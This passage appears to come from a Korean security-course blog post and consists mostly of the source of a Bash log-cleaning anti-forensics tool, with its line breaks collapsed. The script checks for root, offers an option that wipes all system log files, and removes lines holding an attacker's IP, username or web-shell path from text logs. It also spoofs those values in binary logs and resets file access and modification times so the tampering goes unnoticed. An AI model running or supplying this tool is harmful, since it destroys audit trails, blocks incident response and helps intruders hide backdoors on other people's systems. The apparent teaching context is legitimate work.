The various log files found on system:" j=0 # following is the call to function to determine the log files found on system existing_log_files echo -e -n "\n\t[*] ASCII Log Files\n" for i in ${found_ascii_log_files[@]} do echo -e "\t\t$i" done
echo -e -n "\n\t[*] Binary Log Files\n" for i in ${found_binary_log_files[@]} do echo -e "\t\t$i" done # Information of User privileges echo -e "\n\n>>>>>>>>>> Login User Info <<<<<<<<<<\n" echo -e "[*] Logged in Users:\n`who`" #### Checking UID value #### if [ "$UID" == "0" ] then echo -e "\n[*] You are logged in as user '`whoami`' and have 'root' access on this machine" #### Checking read access to /etc/shadow #### elif [ -r /etc/shadow ] then echo -e "\n[*] You are logged in as user '`whoami`' and have 'root' access on this machine" #### Checking the gid value #### elif [ "`cat /etc/passwd | grep whoami | cut -d : -f4`" == "0" ] then echo -e "\n[*] You are logged in as user '`whoami`' and have 'root' access on this machine"
else echo -e "\n[*] You are logged in as user '`whoami`' and do not have 'root' access on this machine" call_exit fi echo -e "\n[*] You are a member of groups: `groups $whoami`" echo exit 1 }call_exit () { echo -e "\n[*] Exiting.....\n" exit }fuck_log_files () { # following is the call to function to determine the log files found on system existing_log_files echo "FTW! Erasing all log files" for i in ${found_ascii_log_files[@]} do echo -e "\t[*] Erasing $i..." > $i done
for i in ${found_binary_log_files[@]} do echo -e "\t[*] Erasing $i..." > $i done echo "Done!" call_exit }verify_ip () {# First check is to verify that the chars entered as IP are integers # Second check has been made to confirm that only 3 dots are there in IP address # Third check is to mark the valid IP range. The octect value can not be < 0 or > 255 str="$1" # $1 is the first function parameter i.e. IP address here cnt=${#str} # Counting the length of string fetched i.e total chars in IP address, including dots dot_counter=0 for ((i=0; i < cnt; i++)) do char=${str:$i:1} # Reading one character at a time from the input string. code=`printf '%d' "'$char"` # Echo the ASCII value of character # The first check if [ $code -lt 48 ] || [ $code -gt 57 ] # Comparing the ASCII value range of Intergers ( 48 - 57 ) then if [ $code -ne 46 ] # To check the "." value then echo -e "\n[*] Err!!! Not a valid IP (some non-integer characters), try again.....\n" call_exit else dot_counter=$[$dot_counter + 1] fi fi done # The second check if [ $dot_counter -ne 3 ] then echo "Inside counter check if" echo -e "\n[*] Err!!! Not a valid IP (check the number of dots in IP Address), try again.....\n" call_exit fi # The third check # Extract the octets octet_a=`echo $1 | cut -d "." -f1` octet_b=`echo $1 | cut -d "." -f2` octet_c=`echo $1 | cut -d "." -f3` octet_d=`echo $1 | cut -d "." -f4` if [ \( $octet_a -lt 0 -o $octet_a -gt 255 \) -o \( $octet_b -lt 0 -o $octet_b -gt 255 \) -o \( $octet_c -lt 0 -o $octet_c -gt 255 \) -o \( $octet_d -lt 0 -o $octet_d -gt 255 \) ] then echo -e "\n[*] Err!!! Not a valid IP (octet value >=0 and <=255), try again.....\n" call_exit fi }# A function to verify whether the user name fetched to script exists or not # The script will not delete any log line based on user-name "root", else most of the logs would get delete verify_user_name () { local user_name="$1" # $1 is the first function parameter i.e. user-name here if [ $user_name != "root" ] then if [[ `cat /etc/passwd | cut -d ":" -f1 | grep $user_name` != $user_name ]] then echo -e "[*] User name does not exist" echo -e "[*] Instead of exiting, script will proceed considering you wish to delete logs of some old account which does not exist anymore" fi else echo -e "[*] User name is 'root'. Script will still take care not to delete lines based on this user name" fi }# A function to obtain the original time stamping of the log file before editing the file check_time_stamping () { echo -e "======================================================================" filename=$1 echo -e "\n[*] Log File Under RADAR: $filename" local atime=`stat -c "%x~%y~%z" ${filename} | cut -d "~" -f1 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'` local mtime=`stat -c "%x~%y~%z" ${filename} | cut -d "~" -f2 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'` local array=() array=($atime $mtime) rtr=(${array[@]}) # rtr is a global variable }# The function to edit the log files and restore the Time (time stamping) edit_ascii_file_and_timestamping () { for log_file in ${found_ascii_log_files[@]} # It's a global array and declared at the top of code do # Calling check_time_stamping function to get the original time stamps before touching the files check_time_stamping $log_file out=(${rtr[@]}) atime=${out[0]} mtime=${out[1]}
echo -e "\n[*] Time Stamping before editing the log file" echo -e "\tatime: $atime" echo -e "\tmtime: $mtime"
# Edit only that file which has the desired string/IP in it. Don't touch others unnecessary. # The following if and grep stuff does the same. If found IP in file then edit else don't # -w is needed else if you intend to delete 192.168.1.1, it would delete all 192.168.1.1* as well if grep -qsw "$1" "$log_file" # $1 is the parameter passed to this function, IP in this case then
echo -e "\n[*] The IP $1 found in $log_file ... so proceeding editing it" echo -e "\n[*] Editing log file --> $log_file" sed "/$1/d" $log_file > $log_file.new mv $log_file.new $log_file fi
if [ $2 != 'root' ] # $2 is the 2nd parameter passed to this function, User name in this case then if grep -qsw "$2" "$log_file" # If user name fetched to script found in log file and that is not 'root' then echo -e "\n\n[*] The username $2 found in $log_file ... so proceeding editing it" echo -e "\n[*] Editing log file --> $log_file" sed "/$2/d" $log_file > $log_file.new mv $log_file.new $log_file fi fi
if [ $flag -eq 1 ] # flag=1 states that a web shell path too has to be removed from log files then echo -e "\n[*] Deleting Backdoor Shell PATH: $3" sed -e "s@$3@@g" $log_file > $log_file.new mv $log_file.new $log_file fi
# The following time stamping is necessary irrespective of whether the IP was found in file or not. # Because at least the file has been accessed while grep(ing) to search the content # So the atime has to be restored # Restoring mtime as well though with more code it can be skipped if value is not found in log file
aatime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f1 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'` amtime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f2 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'` echo -e "\n[*] Time Stamping after editing the log file" echo -e "\tatime: $aatime" echo -e "\tmtime: $amtime" echo -e "\n[*] Restoring the time stamp........." touch -at $atime $log_file touch -mt $mtime $log_file
aaatime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f1 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'` aamtime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f2 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'` echo -e "\n[*] Time Stamping after restoring the time stamp" echo -e "\tatime: $aaatime" echo -e "\tmtime: $aamtime" echo -e "\n======================================================================\n\n" done } edit_binary_file_and_timestamping () { for log_file in ${found_binary_log_files[@]} # It's a global array and declared at the top of code do # Calling check_time_stamping function to get the original time stamps before touching the files check_time_stamping $log_file out=(${rtr[@]}) atime=${out[0]} mtime=${out[1]}
echo -e "\n[*] Time Stamping before editing the log file" echo -e "\tatime: $atime" echo -e "\tmtime: $mtime" echo -e "\nSpoofing IP $1 in binary log file with IP $2" sed "s/$1/$2/g" $log_file > $log_file.new mv $log_file.new $log_file
if [ $3 != 'root' ] then echo -e "\nSpoofing user name..." sed "s/$3/$spoof_user/g" $log_file > $log_file.new # Edit the global variable spoof_user at the top mv $log_file.new $log_file fi
# The following time stamping is necessary irrespective of whether the IP was found in file or not. # Because at least the file has been accessed while grep(ing) to search the content # So the atime has to be restored # Restoring mtime as well though with more code it can be skipped if value is not found in log file
aatime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f1 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'` amtime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f2 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'` echo -e "\n[*] Time Stamping after editing the log file" echo -e "\tatime: $aatime" echo -e "\tmtime: $amtime" echo -e "\n[*] Restoring the time stamp........." touch -at $atime $log_file touch -mt $mtime $log_file
aaatime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f1 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'` aamtime=`stat -c "%x~%y~%z" ${log_file} | cut -d "~" -f2 | cut -d "." -f1 | sed 's/-/ /g' | sed 's/:/ /g' | awk 'BEGIN {FS=" "} {print $1$2$3$4$5"."$6}'` echo -e "\n[*] Time Stamping after restoring the time stamp" echo -e "\tatime: $aaatime" echo -e "\tmtime: $aamtime" echo -e "\n======================================================================\n\n" done }lets_begin_the_show () { if [[ -z $web_shell_path ]] then # Call the function with 2 values; no web shell path has been fetched. No spoofing, just delete the lines. edit_ascii_file_and_timestamping $ip_to_be_deleted $user_name else # Call the function with 3 values; delete web shell path as well. No spoofing, just delete the lines. flag=1 edit_ascii_file_and_timestamping $ip_to_be_deleted $user_name $web_shell_path fi # Call the function to spoof the original IP and user name. No deletion, just spoofing (they being binary files). edit_binary_file_and_timestamping $ip_to_be_deleted $spoof_ip $user_name }verify_combination_of_command_line_arguments () { if [[ -n $ip_to_be_deleted ]] && ( [[ -z $spoof_ip ]] || [[ -z $user_name ]] ) then echo -e "\n[*] Error! Improper number of arguments passed" echo -e "\n[-] Include -s and -u when -d specified!" default_banner call_exit fi if [[ -n $spoof_ip ]] && ( [[ -z $ip_to_be_deleted ]] || [[ -z $user_name ]] ) then echo -e "\n[*] Error! Improper number of arguments passed" echo -e "\n[-] Include -d and -u when -s specified!" default_banner call_exit fi if [[ -n $user_name ]] && ( [[ -z $ip_to_be_deleted ]] || [[ -z $spoof_ip ]] ) then echo -e "\n[*] Error! Improper number of arguments passed" echo -e "\n[-] Include -d and -s when -u specified!" default_banner call_exit fi if [[ -n $web_shell_path ]] && ( [[ -z $ip_to_be_deleted ]] || [[ -z $spoof_ip ]] || [[ -z $user_name ]] ) then echo -e "\n[*] Error! Improper number of arguments passed" echo -e "\n[-] Include -d, -s and -u when -w specified!" default_banner call_exit fi }# ---------------------------------------- The program execution starts from here ------------------------------- if [ $# -eq 0 ] then default_banner fi # Following variables are for the command line arguments ip_to_be_deleted= spoof_ip= user_name= web_shell_path= while getopts ":hifd:s:u:w:" option do case $option in h) help_banner ;; i) system_info ;; f) fuck_log_files ;; d) ip_to_be_deleted=$OPTARG echo "[*] Verifying ip_address $ip_to_be_deleted ..." verify_ip $ip_to_be_deleted # Passing the fetched IP as argument to verify_ip function echo -e "\t[*] ip_address ($ip_to_be_deleted) verified!\n" ;; s) spoof_ip=$OPTARG echo -e "\n[*] Verifying spoof_ip_address $spoof_ip ..." verify_ip $spoof_ip # Passing the fetched IP as argument to verify_ip function echo -e "\t[*] spoof_ip_address ($spoof_ip) verified!\n" ;; u) user_name=$OPTARG echo -e "\n[*] Verifying user_name: '$user_name' ..." verify_user_name $user_name # Passing the fetched IP as argument to verify_user_name function echo -e "\t[*] user_name ($user_name) verified!" ;; w) web_shell_path=$OPTARG echo "WEB-SHELL-PATH: $web_shell_path" # No verification ;;
?) echo -e "\n[*] Wrong argument passed" default_banner ;; esac done # Call to following function to verify the combination of command line arguments passed to script verify_combination_of_command_line_arguments # Following function call is necessary in order to find the available log files on system existing_log_files # Following function call would be made only after all the mandatory arguments have been passed to the script lets_begin_the_show |
'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글
20160728 로그보안 (0) | 2016.07.28 |
---|---|
20160727 로그보안 (0) | 2016.07.27 |
20160726 리눅스 서버보안 (0) | 2016.07.26 |
20160725 리눅스 서버보안 (0) | 2016.07.25 |
20160722 리눅스 서버보안 (0) | 2016.07.22 |